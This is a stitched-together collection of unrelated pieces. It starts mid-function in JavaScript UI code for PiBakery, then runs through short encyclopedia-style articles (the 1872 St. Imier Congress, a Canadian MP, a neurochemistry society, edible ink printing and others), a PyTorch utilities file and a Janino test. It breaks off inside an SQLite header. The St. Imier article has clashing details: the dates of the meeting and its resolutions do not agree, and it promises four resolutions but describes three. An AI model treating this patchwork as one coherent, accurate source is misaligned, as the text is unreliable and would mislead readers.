!!(document.getElementById('buttonOsChoice')) if (!buttonExists) { // create a field and button instead var selectionField = document.createElement('input') selectionField.setAttribute('id', 'fieldOsChoice') selectionField.style.width = '154px' selectionField.style.marginRight = '5px' selectionField.readOnly = true selectionField.setAttribute('type', 'text') var selectionButton = document.createElement('button') selectionButton.setAttribute('id', 'buttonOsChoice') selectionButton.innerText = 'Choose' selectionButton.onclick = function () { chooseNewImage(operatingSystems) return } osChoiceElement.parentNode.appendChild(selectionField) osChoiceElement.parentNode.appendChild(selectionButton) } } else { // check if we previously set the chooser field/button var buttonExists = !!(document.getElementById('buttonOsChoice')) if (buttonExists) { // if it exists, delete the field and button var parent = document.getElementById('buttonOsChoice').parentNode parent.removeChild(document.getElementById('fieldOsChoice')) parent.removeChild(document.getElementById('buttonOsChoice')) } } // build up array of new operating systems var newOperatingSystems = [] for (var i = 0; i < operatingSystems.length; i++) { var currentOs = operatingSystems[i] var operatingSystemOptionElement = document.createElement('option') operatingSystemOptionElement.setAttribute('value', currentOs.value) operatingSystemOptionElement.innerText = path.basename(currentOs.display) newOperatingSystems.push(operatingSystemOptionElement) } updateSelectElement(osChoiceElement, newOperatingSystems) // handle the 'Choose Other' option being selected in the dropdown osChoiceElement.onchange = function () { var selectedValue = osChoiceElement.options[osChoiceElement.selectedIndex].value if (selectedValue === 'chooseother') { // show the choose file dialog chooseNewImage(operatingSystems) return } } } enableWriteButton(true, true) } function enableWriteButton(drives, operatingSystems) { var osChoiceElement = document.getElementById('dialogOsChoice') var sdChoiceElement = document.getElementById('dialogSdChoice') var sdEnable = true var osEnable = true // if the selectors don't exist, then the write button shouldn't be enabled if ((!osChoiceElement && operatingSystems) || (!sdChoiceElement && drives)) { return } // check for values in the selectors if (drives) { sdEnable = sdChoiceElement.options.length > 0 && sdChoiceElement.options[0].innerText != 'loading...' } if (operatingSystems) { osEnable = sdChoiceElement.options.length > 0 && sdChoiceElement.options[0].innerText != 'loading...' } // check whether the write button should be enabled var writeButtonElement = document.getElementById('dialogWriteButton') var shouldEnable = sdEnable && osEnable if (shouldEnable) { writeButtonElement.disabled = false } else { writeButtonElement.disabled = true } } function showSdWriter (title) { var dialogElement = document.getElementById('dialog') dialogElement.style.width = '250px' dialogElement.style.height = '185px' dialogElement.style.marginTop = '-83px' var tableElement = document.getElementById('dialogTable') var writeButtonElement = document.getElementById('dialogWriteButton') var closeButtonElement = document.getElementById('dialogCloseButton') dialogElement.removeChild(tableElement) dialogElement.removeChild(writeButtonElement) dialogElement.removeChild(closeButtonElement) /*var titleElement = document.createElement('p') titleElement.setAttribute('id', 'dialogTitle') titleElement.innerText = 'Writing to SD' dialogElement.appendChild(titleElement)*/ var titleElement = document.getElementById('dialogTitle') titleElement.innerText = title var imageElement = document.createElement('img') imageElement.setAttribute('id', 'dialogImage') imageElement.setAttribute('src', path.join(__dirname, '../app/img/writing.gif')) imageElement = document.createElement('p').appendChild(imageElement) dialogElement.appendChild(imageElement) var progressElement = document.createElement('progress') progressElement.setAttribute('id', 'dialogProgress') progressElement.setAttribute('value', 0) progressElement.setAttribute('max', 10000) dialogElement.appendChild(progressElement) var progressTextElement = document.createElement('div') progressTextElement.setAttribute('id', 'dialogProgressText') progressTextElement.innerText = '' dialogElement.appendChild(progressTextElement) } function updateProgress (value, max, text) { if (value && max) { var progressElement = document.getElementById('dialogProgress') progressElement.setAttribute('max', max) progressElement.setAttribute('value', value) } if (typeof text === 'string') { var textElement = document.getElementById('dialogProgressText') textElement.innerText = text } } function showSdError (title, info) { var dialogElement = document.getElementById('dialog') var progressElement = document.getElementById('dialogProgress') dialogElement.removeChild(progressElement) var imageElement = document.getElementById('dialogImage') dialogElement.removeChild(imageElement) var progressTextElement = document.getElementById('dialogProgressText') dialogElement.removeChild(progressTextElement) var titleElement = document.getElementById('dialogTitle') titleElement.innerText = title var infoElement = document.createElement('p') infoElement.setAttribute('id', 'dialogInfo') infoElement.innerText = info dialogElement.appendChild(infoElement) var closeButtonElement = document.createElement('button') closeButtonElement.setAttribute('class', 'dialogButton') closeButtonElement.innerText = 'Close' closeButtonElement.addEventListener('click', dialogCloseClicked) dialogElement.appendChild(closeButtonElement) } function showSdComplete (title) { var dialogElement = document.getElementById('dialog') dialogElement.style.height = '175px' dialogElement.style.marginTop = '-88px' var progressElement = document.getElementById('dialogProgress') dialogElement.removeChild(progressElement) var progressTextElement = document.getElementById('dialogProgressText') dialogElement.removeChild(progressTextElement) var imageElement = document.getElementById('dialogImage') imageElement.setAttribute('src', path.join(__dirname, '../app/img/success.png')) var titleElement = document.getElementById('dialogTitle') titleElement.innerText = title var breakElement = document.createElement('br') dialogElement.appendChild(breakElement) var closeButtonElement = document.createElement('button') closeButtonElement.setAttribute('class', 'dialogButton') closeButtonElement.innerText = 'Close' closeButtonElement.addEventListener('click', dialogCloseClicked) dialogElement.appendChild(closeButtonElement) } function showBlockInfo () { // TODO - show the block info window } function removeIntro () { var spinner = document.getElementsByClassName('spinner') if (spinner.length < 0) { return new Error("pibakery ui - can't remove spinner - no spinners exist") } if (spinner.length !== 1) { return new Error("pibakery ui - can't remove spinner - more than one spinner exists") } spinner = spinner[0] spinner.style.display = 'none' var credits = document.getElementById('credits') if (!credits) { return new Error("pibakery ui - can't remove credits - can't find div") } credits.style.display = 'none' } function showWorkspace () { var blocklyEditor = document.getElementById('blockly_editor') if (!blocklyEditor) { return new Error("pibakery ui - can't show block editor - can't find block editor") } blocklyEditor.style.display = 'block' var toolbox = document.getElementById('toolbox') if (!toolbox) { return new Error("pibakery ui - can't show block editor - can't find toolbox") } } ```
The St. Imier Congress was a meeting of the Jura Federation and anti-authoritarian apostates of the First International in September 1872. Background Among the ideological debates within the socialist First International, Karl Marx and Mikhail Bakunin disagreed on the revolutionary role of the working class and political struggle. Following the demise of the 1871 Paris Commune, the International debated whether the proletariat should create its own state (Marx's position) or continue making commune attempts (Bakunin's position). Marx arranged the International's 1872 Congress in The Hague, the Netherlands, where Bakunin could not attend without arrest in Germany or France. The Hague Congress sided with Marx and expelled Bakunin from the International over aspects of his dissent and person, causing a split that would ultimately end the organization. International delegates of the minority opposed to Bakunin's expulsion met early in the September 1872 Hague Congress, in which 16 delegates (Spanish, Belgian, Dutch, Jurassic, and some American and French) privately decided to band together as anti-authoritarians. Before the vote, they presented a signed Minority Declaration, in which they expressed that the Congress's business ran counter to their represented countries' principles. They wished to remain administrative contact and maintain federative autonomy within the International in lieu of splitting it. Following the Hague Congress, anti-authoritarian minority delegates traveled to Brussels and issued a statement that they would not recognize the Congress's proceedings. They considered the circumstances around Bakunin's expulsion as unjust and encouraged anti-authoritarian federations to protest. The group continued on to Switzerland, where some met with Bakunin in Zurich. Congress Earlier, in late August, the Italian Federation and Jura Federation began to plan an international alternative congress in Switzerland. The Italians and Errico Malatesta arrived in Zurich during the Hague Congress. They were joined by Andrea Costa and The Hague delegates Adhémar Schwitzguébel, Carlo Cafiero, and those from Spain. Bakunin presented his drafts for an Alliance organization to serve allied delegates in the International, but few took the effort seriously. The international alternative congress met in St. Imier on September 14 and 15, 1872. The group of 16 included Bakunin, the Zurich group, and a Russian group from Zurich. Prior to the international congress, Schwitzguébel read a report. The group then resolved to reject as unjust the Hague Congress and its General Council's authoritarianism. A second resolution upheld the honor of the expelled Bakunin and Guillaume, and recognized the two within the Jura International. The alternative congress followed these proceedings. In four groups, the delegates wrote resolutions on September 15 and 16. All four of the resolutions were passed unanimously on the 16th. Its first resolution held that the Hague Congress majority's sole intent was to make the International more authoritarian, and resolved to reject that Congress's resolutions and the authority of its new General Council. The second resolution, the St. Imier pact, was a "pact of friendship, solidarity, and mutual defense" joining all interested federations against the General Council's authoritarian interests. The third resolution condemned the Hague Congress's advocacy for a singular path to proletariat social emancipation. It declared that the proletariat's first duty is to destroy all political power, rejected political organization (even temporary) towards this end as even more dangerous than contemporary governments, and advocated for uncompromising solidarity between proletarians internationally. The resolutions were bolder in language than the Hague Congress's Minority Declaration, likely on account of Bakunin's presence. Delegates The St. Imier Congress delegates included: Italian Federation Andrea Costa Carlo Cafiero Mikhail Bakunin Errico Malatesta Lodovico Nabruzzi Giuseppi Fanelli Jura Federation James Guillaume Adhémar Schwitzguébel Spanish Federation Rafael Farga Nicolás Alonso Marselau Tomás González Morago French sections American sections Gustave Lefrançais References Bibliography 1872 conferences 1872 in politics Anarchism in Switzerland History of anarchism History of socialism Jura Federation International Workingmen's Association Political congresses 1872 in Switzerland September 1872 events 1870s political events 19th-century political conferences
Kenneth Hamill More (25 May 1907 – 24 October 1993) was a Progressive Conservative party member of the House of Commons of Canada. He was born in Qu'Appelle, Saskatchewan and became a businessman, clothier, manager and secretary-treasurer by career. He was first elected at the Regina City riding in the 1958 general election after making an unsuccessful bid for the seat in 1957. More was re-elected there in 1962 defeating former Premier Tommy Douglas, the first leader of the New Democratic Party. He was again re-elected in 1963 and 1965. After riding boundary changes in the late 1960s, More's House of Commons career was ended with his defeat at the Regina—Lake Centre riding in the 1968 election to Les Benjamin of the New Democratic Party. In 1985, More was appointed to the Saskatchewan Sports Hall of Fame for his leadership and support of sports in Saskatchewan during his life. He was president of the Saskatchewan Amateur Hockey Association prior to entering federal politics. External links Saskatoon Library: Biography-More, Ken 1907 births 1993 deaths Members of the House of Commons of Canada from Saskatchewan People from Qu'Appelle, Saskatchewan Progressive Conservative Party of Canada MPs
Fouhed Chehat is the Algerian Deputy Minister for Sahara Agriculture and Mountains. He was appointed as minister on 2 January 2020. References Living people 21st-century Algerian politicians Algerian politicians Government ministers of Algeria Year of birth missing (living people)
```python import datetime import errno import os import time from collections import defaultdict, deque import torch import torch.distributed as dist class SmoothedValue: """Track a series of values and provide access to smoothed values over a window or the global series average. """ def __init__(self, window_size=20, fmt=None): if fmt is None: fmt = "{median:.4f} ({global_avg:.4f})" self.deque = deque(maxlen=window_size) self.total = 0.0 self.count = 0 self.fmt = fmt def update(self, value, n=1): self.deque.append(value) self.count += n self.total += value * n def synchronize_between_processes(self): """ Warning: does not synchronize the deque! """ t = reduce_across_processes([self.count, self.total]) t = t.tolist() self.count = int(t[0]) self.total = t[1] @property def median(self): d = torch.tensor(list(self.deque)) return d.median().item() @property def avg(self): d = torch.tensor(list(self.deque), dtype=torch.float32) return d.mean().item() @property def global_avg(self): return self.total / self.count @property def max(self): return max(self.deque) @property def value(self): return self.deque[-1] def __str__(self): return self.fmt.format( median=self.median, avg=self.avg, global_avg=self.global_avg, max=self.max, value=self.value ) class MetricLogger: def __init__(self, delimiter="\t"): self.meters = defaultdict(SmoothedValue) self.delimiter = delimiter def update(self, **kwargs): for k, v in kwargs.items(): if isinstance(v, torch.Tensor): v = v.item() if not isinstance(v, (float, int)): raise TypeError( f"This method expects the value of the input arguments to be of type float or int, instead got {type(v)}" ) self.meters[k].update(v) def __getattr__(self, attr): if attr in self.meters: return self.meters[attr] if attr in self.__dict__: return self.__dict__[attr] raise AttributeError(f"'{type(self).__name__}' object has no attribute '{attr}'") def __str__(self): loss_str = [] for name, meter in self.meters.items(): loss_str.append(f"{name}: {str(meter)}") return self.delimiter.join(loss_str) def synchronize_between_processes(self): for meter in self.meters.values(): meter.synchronize_between_processes() def add_meter(self, name, meter): self.meters[name] = meter def log_every(self, iterable, print_freq, header=None): i = 0 if not header: header = "" start_time = time.time() end = time.time() iter_time = SmoothedValue(fmt="{avg:.4f}") data_time = SmoothedValue(fmt="{avg:.4f}") space_fmt = ":" + str(len(str(len(iterable)))) + "d" if torch.cuda.is_available(): log_msg = self.delimiter.join( [ header, "[{0" + space_fmt + "}/{1}]", "eta: {eta}", "{meters}", "time: {time}", "data: {data}", "max mem: {memory:.0f}", ] ) else: log_msg = self.delimiter.join( [header, "[{0" + space_fmt + "}/{1}]", "eta: {eta}", "{meters}", "time: {time}", "data: {data}"] ) MB = 1024.0 * 1024.0 for obj in iterable: data_time.update(time.time() - end) yield obj iter_time.update(time.time() - end) if i % print_freq == 0: eta_seconds = iter_time.global_avg * (len(iterable) - i) eta_string = str(datetime.timedelta(seconds=int(eta_seconds))) if torch.cuda.is_available(): print( log_msg.format( i, len(iterable), eta=eta_string, meters=str(self), time=str(iter_time), data=str(data_time), memory=torch.cuda.max_memory_allocated() / MB, ) ) else: print( log_msg.format( i, len(iterable), eta=eta_string, meters=str(self), time=str(iter_time), data=str(data_time) ) ) i += 1 end = time.time() total_time = time.time() - start_time total_time_str = str(datetime.timedelta(seconds=int(total_time))) print(f"{header} Total time: {total_time_str}") def accuracy(output, target, topk=(1,)): """Computes the accuracy over the k top predictions for the specified values of k""" with torch.inference_mode(): maxk = max(topk) batch_size = target.size(0) _, pred = output.topk(maxk, 1, True, True) pred = pred.t() correct = pred.eq(target[None]) res = [] for k in topk: correct_k = correct[:k].flatten().sum(dtype=torch.float32) res.append(correct_k * (100.0 / batch_size)) return res def mkdir(path): try: os.makedirs(path) except OSError as e: if e.errno != errno.EEXIST: raise def setup_for_distributed(is_master): """ This function disables printing when not in master process """ import builtins as __builtin__ builtin_print = __builtin__.print def print(*args, **kwargs): force = kwargs.pop("force", False) if is_master or force: builtin_print(*args, **kwargs) __builtin__.print = print def is_dist_avail_and_initialized(): if not dist.is_available(): return False if not dist.is_initialized(): return False return True def get_world_size(): if not is_dist_avail_and_initialized(): return 1 return dist.get_world_size() def get_rank(): if not is_dist_avail_and_initialized(): return 0 return dist.get_rank() def is_main_process(): return get_rank() == 0 def save_on_master(*args, **kwargs): if is_main_process(): torch.save(*args, **kwargs) def init_distributed_mode(args): if "RANK" in os.environ and "WORLD_SIZE" in os.environ: args.rank = int(os.environ["RANK"]) args.world_size = int(os.environ["WORLD_SIZE"]) args.gpu = int(os.environ["LOCAL_RANK"]) elif "SLURM_PROCID" in os.environ: args.rank = int(os.environ["SLURM_PROCID"]) args.gpu = args.rank % torch.cuda.device_count() elif hasattr(args, "rank"): pass else: print("Not using distributed mode") args.distributed = False return args.distributed = True torch.cuda.set_device(args.gpu) args.dist_backend = "nccl" print(f"| distributed init (rank {args.rank}): {args.dist_url}", flush=True) torch.distributed.init_process_group( backend=args.dist_backend, init_method=args.dist_url, world_size=args.world_size, rank=args.rank ) torch.distributed.barrier() setup_for_distributed(args.rank == 0) def reduce_across_processes(val, op=dist.ReduceOp.SUM): if not is_dist_avail_and_initialized(): # nothing to sync, but we still convert to tensor for consistency with the distributed case. return torch.tensor(val) t = torch.tensor(val, device="cuda") dist.barrier() dist.all_reduce(t, op=op) return t ```
```java /* * Janino - An embedded Java[TM] compiler * * * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the * following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the * following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the * following disclaimer in the documentation and/or other materials provided with the distribution. * 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote * products derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ package org.codehaus.commons.compiler.tests; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.util.Collection; import org.codehaus.commons.compiler.CompileException; import org.codehaus.commons.compiler.ICompilerFactory; import org.codehaus.commons.compiler.ISimpleCompiler; import org.codehaus.commons.compiler.LocatedException; import org.junit.Assert; import org.junit.Test; import org.junit.runner.RunWith; import org.junit.runners.Parameterized; import org.junit.runners.Parameterized.Parameters; import util.TestUtil; /** * Tests for the serializability of JANINO data structures. */ @RunWith(Parameterized.class) public class SerializationTest { private final ICompilerFactory compilerFactory; @Parameters(name = "CompilerFactory={0}") public static Collection<Object[]> compilerFactories() throws Exception { return TestUtil.getCompilerFactoriesForParameters(); } public SerializationTest(ICompilerFactory compilerFactory) { this.compilerFactory = compilerFactory; } /** * Verifies that {@link CompileException} is serializable. */ @Test public void testExceptionSerializable() throws Exception { ISimpleCompiler compiler = this.compilerFactory.newSimpleCompiler(); try { compiler.cook("this is not valid Java"); Assert.fail("Cook should have thrown an exception"); } catch (LocatedException e) { ObjectOutputStream oos = new ObjectOutputStream(new ByteArrayOutputStream()); oos.writeObject(e); oos.close(); } } } ```
The International Society for Neurochemistry (ISN) is a professional society for neurochemists and neuroscientists throughout the world. History The idea of an organization like the ISN began in the mid-1950s as scientists began to devote more attention to the discipline of neurochemistry. As the field became more popular, scientists recognized that an international association would be useful in helping to propagate research among themselves. In 1962, Jordi Folch Pi and Heinrich Waelesch proposed the formation of a Provisional Organizing Committee to such a society. The committee eventually came into being in 1963 and had an international membership composed of scientists in the field. Preliminary statutes were drafted in 1965 and finalized in 1967 as the Articles of Association of the ISN. At its creation, the society had 226 members. The ISN began by organizing international and satellite meetings. In 1980, it began offering travel grants for young scientists to attend its meetings. Since that time, it has increased the number of awards it offers, funding travel grants as well as training programs, research in developing countries, and small, specialized medical conferences. Mission statement The mission of the International Society for Neurochemistry is to: facilitate the worldwide advancement of neurochemistry and related neuroscience disciplines foster the education and development of neurochemists, particularly of young and emerging investigators disseminate information about neurochemistry and neurochemists' activities throughout the world Annual meeting The society holds a bi-annual meeting, which generally is organized in collaboration with a regional society, either the European Society for Neurochemistry, the American Society for Neurochemistry, or the Asian Pacific Society for Neurochemistry. Publications The official journal of the ISN is the Journal of Neurochemistry currently published by Wiley-Blackwell. Awards The ISN funds various efforts to improve scientists' understanding of neurochemistry. The Committee for Aid and Education in Neurochemistry (CAEN) supports research endeavours conducted by young scientists or scientists from countries which offer limited support for neurochemical research. In the past, the committee has funded proposals for a variety of purposes, including visits to other laboratories, purchase of research equipment, and participation in scientific workshops. Awards to individuals are overseen by the Travel Grants Committee. The ISN Travel Award Program allows young scientists to attend the ISN Biennial Meeting. The Young Scientist Lectureship Awards allow up to two young scientists to attend the Biennial Meeting and present a thirty-minute lecture on a subject in their speciality. The ISN also supports research symposia through the ISN Conference Committee (ISN-CC). The committee funds small medical conferences that focus on recent research topics and that have an international focus among their attendees. Also under the jurisdiction of the Conference Committee is the ISN Schools Initiative, which schools in different areas of the world that train neurochemists. References External links International Society for Neurochemistry home page History of the first 25 years of ISN The origins and early history of neurochemistry and its societies History and Archives of ISN American Society for Neurochemistry home page Asian Pacific Society for Neurochemistry home page European Society for Neurochemistry home page Neuroscience organizations International learned societies
The women's team open archery event at the 2000 Summer Paralympics were held from 20 to 25 October 2000. Ranking round Competition bracket References Archery at the 2000 Summer Paralympics 2000 in women's archery
Cerobates tristriatus is a species of beetles belonging to the family Brentidae. Description Cerobates tristriatus can reach a length of about . Females lay eggs on the surface of decayed bark of sapwood, where the larvae construct radial galleries. Distribution This species is widely distributed from Sri Lanka to Australia. References Brentidae Beetles described in 1800
Edible ink printing is the process of creating preprinted images with edible food colors onto various confectionery products such as cookies, cakes and pastries. Designs made with edible ink can be either preprinted or created with an edible ink printer, a specialty device which transfers an image onto a thin, edible paper. Edible paper is made of starches and sugars and printed with edible food colors. Some edible inks and paper materials have been approved by the Food and Drug Administration and carry its generally recognized as safe certification. Paper The first papers of this process used rice paper, while modern versions use frosting sheets. The first U.S. patent for food printing, as it applied to edible ink printing, was filed by George J. Krubert of the Keebler Company and granted in 1981. Such paper is eaten without harmful effects. Most edible paper has no significant flavor and limited texture. Edible paper may be printed on by a standard printer and, upon application to a moist surface, dissolves while maintaining a high resolution. The end effect is that the image (usually a photograph) on the paper appears to be printed on the icing. Edible inks Edible printer inks have become prevalent and are used in conjunction with special ink printers. Ink that is not specifically marketed as being edible may be harmful or fatal if swallowed. Edible toner for laser printers is not currently available. Any inkjet or bubblejet printer can be used to print, although resolution may be poor, and care should be taken to avoid contaminating the edible inks with previously used inks. Inkjet or bubblejet printers can be converted to print using edible ink, and cartridges of edible ink are commercially available. It is always much safer to use a dedicated inkjet printer for edible ink printing. Some edible inks are powdered, but if they are easily soluble in water they can also be used as any other edible ink without reducing quality. Edible paper is used on cakes, cookies, cupcakes and marshmallows. References External links Wafer paper compared tp icing sheets Confectionery Food and drink decorations Food ingredients Paper Printing
```objective-c /* ** 2013-11-12 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** ** This file contains structure and macro definitions for the query ** planner logic in "where.c". These definitions are broken out into ** a separate source file for easier editing. */ /* ** Trace output macros */ #if defined(SQLITE_TEST) || defined(SQLITE_DEBUG) /***/ int sqlite3WhereTrace = 0; #endif #if defined(SQLITE_DEBUG) \ && (defined(SQLITE_TEST) || defined(SQLITE_ENABLE_WHERETRACE)) # define WHERETRACE(K,X) if(sqlite3WhereTrace&(K)) sqlite3DebugPrintf X # define WHERETRACE_ENABLED 1 #else # define WHERETRACE(K,X) #endif /* Forward references */ typedef struct WhereClause WhereClause; typedef struct WhereMaskSet WhereMaskSet; typedef struct WhereOrInfo WhereOrInfo; typedef struct WhereAndInfo WhereAndInfo; typedef struct WhereLevel WhereLevel; typedef struct WhereLoop WhereLoop; typedef struct WherePath WherePath; typedef struct WhereTerm WhereTerm; typedef struct WhereLoopBuilder WhereLoopBuilder; typedef struct WhereScan WhereScan; typedef struct WhereOrCost WhereOrCost; typedef struct WhereOrSet WhereOrSet; /* ** This object contains information needed to implement a single nested ** loop in WHERE clause. ** ** Contrast this object with WhereLoop. This object describes the ** implementation of the loop. WhereLoop describes the algorithm. ** This object contains a pointer to the WhereLoop algorithm as one of ** its elements. ** ** The WhereInfo object contains a single instance of this object for ** each term in the FROM clause (which is to say, for each of the ** nested loops as implemented). The order of WhereLevel objects determines ** the loop nested order, with WhereInfo.a[0] being the outer loop and ** WhereInfo.a[WhereInfo.nLevel-1] being the inner loop. */ struct WhereLevel { int iLeftJoin; /* Memory cell used to implement LEFT OUTER JOIN */ int iTabCur; /* The VDBE cursor used to access the table */ int iIdxCur; /* The VDBE cursor used to access pIdx */ int addrBrk; /* Jump here to break out of the loop */ int addrNxt; /* Jump here to start the next IN combination */ int addrSkip; /* Jump here for next iteration of skip-scan */ int addrCont; /* Jump here to continue with the next loop cycle */ int addrFirst; /* First instruction of interior of the loop */ int addrBody; /* Beginning of the body of this loop */ u8 iFrom; /* Which entry in the FROM clause */ u8 op, p3, p5; /* Opcode, P3 & P5 of the opcode that ends the loop */ int p1, p2; /* Operands of the opcode used to ends the loop */ union { /* Information that depends on pWLoop->wsFlags */ struct { int nIn; /* Number of entries in aInLoop[] */ struct InLoop { int iCur; /* The VDBE cursor used by this IN operator */ int addrInTop; /* Top of the IN loop */ u8 eEndLoopOp; /* IN Loop terminator. OP_Next or OP_Prev */ } *aInLoop; /* Information about each nested IN operator */ } in; /* Used when pWLoop->wsFlags&WHERE_IN_ABLE */ Index *pCovidx; /* Possible covering index for WHERE_MULTI_OR */ } u; struct WhereLoop *pWLoop; /* The selected WhereLoop object */ Bitmask notReady; /* FROM entries not usable at this level */ }; /* ** Each instance of this object represents an algorithm for evaluating one ** term of a join. Every term of the FROM clause will have at least ** one corresponding WhereLoop object (unless INDEXED BY constraints ** prevent a query solution - which is an error) and many terms of the ** FROM clause will have multiple WhereLoop objects, each describing a ** potential way of implementing that FROM-clause term, together with ** dependencies and cost estimates for using the chosen algorithm. ** ** Query planning consists of building up a collection of these WhereLoop ** objects, then computing a particular sequence of WhereLoop objects, with ** one WhereLoop object per FROM clause term, that satisfy all dependencies ** and that minimize the overall cost. */ struct WhereLoop { Bitmask prereq; /* Bitmask of other loops that must run first */ Bitmask maskSelf; /* Bitmask identifying table iTab */ #ifdef SQLITE_DEBUG char cId; /* Symbolic ID of this loop for debugging use */ #endif u8 iTab; /* Position in FROM clause of table for this loop */ u8 iSortIdx; /* Sorting index number. 0==None */ LogEst rSetup; /* One-time setup cost (ex: create transient index) */ LogEst rRun; /* Cost of running each loop */ LogEst nOut; /* Estimated number of output rows */ union { struct { /* Information for internal btree tables */ u16 nEq; /* Number of equality constraints */ u16 nSkip; /* Number of initial index columns to skip */ Index *pIndex; /* Index used, or NULL */ } btree; struct { /* Information for virtual tables */ int idxNum; /* Index number */ u8 needFree; /* True if sqlite3_free(idxStr) is needed */ i8 isOrdered; /* True if satisfies ORDER BY */ u16 omitMask; /* Terms that may be omitted */ char *idxStr; /* Index identifier string */ } vtab; } u; u32 wsFlags; /* WHERE_* flags describing the plan */ u16 nLTerm; /* Number of entries in aLTerm[] */ /**** whereLoopXfer() copies fields above ***********************/ # define WHERE_LOOP_XFER_SZ offsetof(WhereLoop,nLSlot) u16 nLSlot; /* Number of slots allocated for aLTerm[] */ WhereTerm **aLTerm; /* WhereTerms used */ WhereLoop *pNextLoop; /* Next WhereLoop object in the WhereClause */ WhereTerm *aLTermSpace[4]; /* Initial aLTerm[] space */ }; /* This object holds the prerequisites and the cost of running a ** subquery on one operand of an OR operator in the WHERE clause. ** See WhereOrSet for additional information */ struct WhereOrCost { Bitmask prereq; /* Prerequisites */ LogEst rRun; /* Cost of running this subquery */ LogEst nOut; /* Number of outputs for this subquery */ }; /* The WhereOrSet object holds a set of possible WhereOrCosts that ** correspond to the subquery(s) of OR-clause processing. Only the ** best N_OR_COST elements are retained. */ #define N_OR_COST 3 struct WhereOrSet { u16 n; /* Number of valid a[] entries */ WhereOrCost a[N_OR_COST]; /* Set of best costs */ }; /* Forward declaration of methods */ static int whereLoopResize(sqlite3*, WhereLoop*, int); /* ** Each instance of this object holds a sequence of WhereLoop objects ** that implement some or all of a query plan. ** ** Think of each WhereLoop object as a node in a graph with arcs ** showing dependencies and costs for travelling between nodes. (That is ** not a completely accurate description because WhereLoop costs are a ** vector, not a scalar, and because dependencies are many-to-one, not ** one-to-one as are graph nodes. But it is a useful visualization aid.) ** Then a WherePath object is a path through the graph that visits some ** or all of the WhereLoop objects once. ** ** The "solver" works by creating the N best WherePath objects of length ** 1. Then using those as a basis to compute the N best WherePath objects ** of length 2. And so forth until the length of WherePaths equals the ** number of nodes in the FROM clause. The best (lowest cost) WherePath ** at the end is the chosen query plan. */ struct WherePath { Bitmask maskLoop; /* Bitmask of all WhereLoop objects in this path */ Bitmask revLoop; /* aLoop[]s that should be reversed for ORDER BY */ LogEst nRow; /* Estimated number of rows generated by this path */ LogEst rCost; /* Total cost of this path */ LogEst rUnsorted; /* Total cost of this path ignoring sorting costs */ i8 isOrdered; /* No. of ORDER BY terms satisfied. -1 for unknown */ WhereLoop **aLoop; /* Array of WhereLoop objects implementing this path */ }; /* ** The query generator uses an array of instances of this structure to ** help it analyze the subexpressions of the WHERE clause. Each WHERE ** clause subexpression is separated from the others by AND operators, ** usually, or sometimes subexpressions separated by OR. ** ** All WhereTerms are collected into a single WhereClause structure. ** The following identity holds: ** ** WhereTerm.pWC->a[WhereTerm.idx] == WhereTerm ** ** When a term is of the form: ** ** X <op> <expr> ** ** where X is a column name and <op> is one of certain operators, ** then WhereTerm.leftCursor and WhereTerm.u.leftColumn record the ** cursor number and column number for X. WhereTerm.eOperator records ** the <op> using a bitmask encoding defined by WO_xxx below. The ** use of a bitmask encoding for the operator allows us to search ** quickly for terms that match any of several different operators. ** ** A WhereTerm might also be two or more subterms connected by OR: ** ** (t1.X <op> <expr>) OR (t1.Y <op> <expr>) OR .... ** ** In this second case, wtFlag has the TERM_ORINFO bit set and eOperator==WO_OR ** and the WhereTerm.u.pOrInfo field points to auxiliary information that ** is collected about the OR clause. ** ** If a term in the WHERE clause does not match either of the two previous ** categories, then eOperator==0. The WhereTerm.pExpr field is still set ** to the original subexpression content and wtFlags is set up appropriately ** but no other fields in the WhereTerm object are meaningful. ** ** When eOperator!=0, prereqRight and prereqAll record sets of cursor numbers, ** but they do so indirectly. A single WhereMaskSet structure translates ** cursor number into bits and the translated bit is stored in the prereq ** fields. The translation is used in order to maximize the number of ** bits that will fit in a Bitmask. The VDBE cursor numbers might be ** spread out over the non-negative integers. For example, the cursor ** numbers might be 3, 8, 9, 10, 20, 23, 41, and 45. The WhereMaskSet ** translates these sparse cursor numbers into consecutive integers ** beginning with 0 in order to make the best possible use of the available ** bits in the Bitmask. So, in the example above, the cursor numbers ** would be mapped into integers 0 through 7. ** ** The number of terms in a join is limited by the number of bits ** in prereqRight and prereqAll. The default is 64 bits, hence SQLite ** is only able to process joins with 64 or fewer tables. */ struct WhereTerm { Expr *pExpr; /* Pointer to the subexpression that is this term */ int iParent; /* Disable pWC->a[iParent] when this term disabled */ int leftCursor; /* Cursor number of X in "X <op> <expr>" */ union { int leftColumn; /* Column number of X in "X <op> <expr>" */ WhereOrInfo *pOrInfo; /* Extra information if (eOperator & WO_OR)!=0 */ WhereAndInfo *pAndInfo; /* Extra information if (eOperator& WO_AND)!=0 */ } u; LogEst truthProb; /* Probability of truth for this expression */ u16 eOperator; /* A WO_xx value describing <op> */ u8 wtFlags; /* TERM_xxx bit flags. See below */ u8 nChild; /* Number of children that must disable us */ WhereClause *pWC; /* The clause this term is part of 